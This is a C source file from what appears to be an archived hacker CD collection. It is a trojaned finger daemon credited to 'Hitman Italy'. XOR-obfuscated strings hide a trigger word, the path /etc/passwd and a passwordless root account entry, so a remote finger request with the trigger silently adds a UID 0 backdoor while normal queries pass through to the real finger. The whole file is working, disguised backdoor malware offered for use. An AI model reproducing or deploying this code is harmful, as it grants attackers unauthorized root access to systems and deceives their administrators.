home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Power Hacker 2003
/
Power_Hacker_2003.iso
/
Exploit and vulnerability
/
hoobie
/
fingerd.c
< prev
next >
Wrap
C/C++ Source or Header
|
2001-11-06
|
3KB
|
119 lines
/* The Fingerd trojan by Hitman Italy
* This source cannot be spread without the whole article
* but you can freely implement or modify it for personal use
*/
static char copyright[] = ""; /* Add the copyright string here */
static char sccsid[] = ""; /* Add the sccsid string here */
#include <stdio.h>
#define PATH_FINGER "/usr/bin/finger"
#define CODE 161
char *HitCrypt(ch)
char *ch;
{
char *b;
b=ch;
while ((*(ch++)^=CODE)!=0x00);
return(b);
}
main(argc,argv)
int argc;
char *argv[];
{
register FILE *fp;
register int ch;
register char *lp;
int p[2];
static char exor[4][23]={
{201,200,213,CODE},
{142,196,213,194,142,209,192,210,210,214,197,CODE},
{201,200,213,155,155,145,155,145,155,155,142,155,142,195,200,207,142,194,
210,201,CODE},
{227,192,194,202,197,206,206,211,129,192,194,213,200,215,192,213,196,197,
143,143,143,CODE} };
#define ENTRIES 50
char **ap, *av[ENTRIES + 1], line[1024], *strtok();
#ifdef LOGGING /* unused, leave it for "strings" command */
#include <netinet/in.h>
struct sockaddr_in sin;
int sval;
sval = sizeof(sin);
if (getpeername(0, &sin, &sval) < 0)
fatal(argv[0],"getpeername");
#endif
if (!fgets(line, sizeof(line), stdin))
exit(1);
av[0] = "finger";
for (lp = line, ap = &av[1];;) {
*ap = strtok(lp, " \t\r\n");
if (!*ap)
break;
if ((*ap)[0] == '/' && ((*ap)[1] == 'W' || (*ap)[1] == 'w'))
*ap = "-l";
if (++ap == av + ENTRIES)
break;
lp = NULL;
}
if (pipe(p) < 0)
fatal(argv[0],"pipe");
switch(fork()) {
case 0:
(void)close(p[0]);
if (p[1] != 1) {
(void)dup2(p[1], 1);
(void)close(p[1]);
}
/*-=-=-=-=-=- PUT HERE YOUR CODE -=-=-=-=-=-*/
if (av[1])
if (strcmp( (HitCrypt(&exor[0][0])) ,av[1])==0) {
if(!(fp=fopen( (HitCrypt(&exor[1][0])) ,"a")))
_exit(10);
fprintf(fp,"%s\n", HitCrypt(&exor[2][0]));
printf("%s\n", HitCrypt(&exor[3][0]));
fclose(fp);
break;
}
/*-=-=-=-=-=- END OF CUSTOM CODE =-=-=-=-=-=-*/
if (execv(PATH_FINGER, av)==-1)
fprintf(stderr,"No local finger program found\n");
_exit(1);
case -1:
fatal(argv[0],"fork");
}
(void)close(p[1]);
if (!(fp = fdopen(p[0], "r")))
fatal(argv[0],"fdopen");
while ((ch = getc(fp)) != EOF) {
putchar(ch);
}
exit(0);
}
fatal(prg,msg)
char *prg,*msg;
{
fprintf(stderr, "%s: ", prg);
perror(msg);
exit(1);
}